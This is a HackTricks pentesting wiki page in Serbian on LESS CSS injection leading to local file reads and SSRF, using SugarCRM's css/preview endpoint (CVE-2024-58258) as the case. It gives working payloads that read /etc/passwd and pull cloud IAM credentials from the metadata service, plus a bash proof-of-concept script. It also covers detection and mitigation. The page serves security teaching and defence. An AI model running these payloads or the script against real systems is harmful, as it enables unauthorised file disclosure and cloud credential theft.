LESS Code Injection vodi do SSRF & Čitanja lokalnih fajlova
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Pregled
LESS je popularni CSS preprocesor koji dodaje promenljive, mixine, funkcije i moćnu @import
direktivu. Tokom kompajliranja, LESS engine će preuzeti resurse navedene u @import
izjavama i ugraditi ("inline") njihov sadržaj u rezultantni CSS kada se koristi opcija (inline)
.
Kada aplikacija konkatenira ulaz koji kontroliše korisnik u string koji kasnije obrađuje LESS kompajler, napadač može ubaciti proizvoljni LESS kod. Zloupotrebom @import (inline)
napadač može naterati server da preuzme:
- Lokalne fajlove putem
file://
protokola (otkrivanje informacija / Uključivanje lokalnih fajlova). - Udaljene resurse na internim mrežama ili uslugama metapodataka u oblaku (SSRF).
Ova tehnika je viđena u stvarnim proizvodima kao što je SugarCRM ≤ 14.0.0 (/rest/v10/css/preview
endpoint).
Eksploatacija
- Identifikujte parametar koji je direktno ugrađen unutar stringa stilskog lista koji obrađuje LESS engine (npr.
?lm=
u SugarCRM). - Zatvorite trenutnu izjavu i ubacite nove direktive. Najčešće primitivne su:
;
– završava prethodnu deklaraciju.}
– zatvara prethodni blok (ako je potrebno).
- Koristite
@import (inline) '<URL>';
da pročitate proizvoljne resurse. - Opcionalno, ubacite marker (
data:
URI) nakon importa da olakšate ekstrakciju preuzetog sadržaja iz kompajliranog CSS-a.
Čitanje lokalnih fajlova
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
Sadržaj /etc/passwd
će se pojaviti u HTTP odgovoru neposredno pre @@END@@
oznake.
SSRF – Cloud Metadata
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
Automatizovani PoC (SugarCRM primer)
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
Detekcija
- Tražite dinamički generisane
.less
ili.css
odgovore koji sadrže nesanitizovane parametre upita. - Tokom pregleda koda, pretražujte konstrukcije poput
"@media all { .preview { ... ${userInput} ... } }"
prosleđenih LESS render funkcijama. - Pokušaji eksploatacije često uključuju
@import
,(inline)
,file://
,http://169.254.169.254
, itd.
Mogućnosti ublažavanja
- Ne prosleđujte nepouzdane podatke LESS kompajleru.
- Ako su dinamičke vrednosti potrebne, pravilno escape/sanitizujte ih (npr., ograničite na numeričke tokene, bele liste).
- Onemogućite, kada je to moguće, mogućnost korišćenja
(inline)
uvoza, ili ograničite dozvoljene protokole nahttps
. - Održavajte zavisnosti ažuriranim – SugarCRM je ispravio ovaj problem u verzijama 13.0.4 i 14.0.1.
Slučajevi iz stvarnog sveta
Proizvod | Ranjiva tačka | Uticaj |
---|---|---|
SugarCRM ≤ 14.0.0 | /rest/v10/css/preview?lm= | Neautentifikovani SSRF & čitanje lokalnih fajlova |
Reference
- SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability
- SugarCRM Security Advisory SA-2024-059
- CVE-2024-58258
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.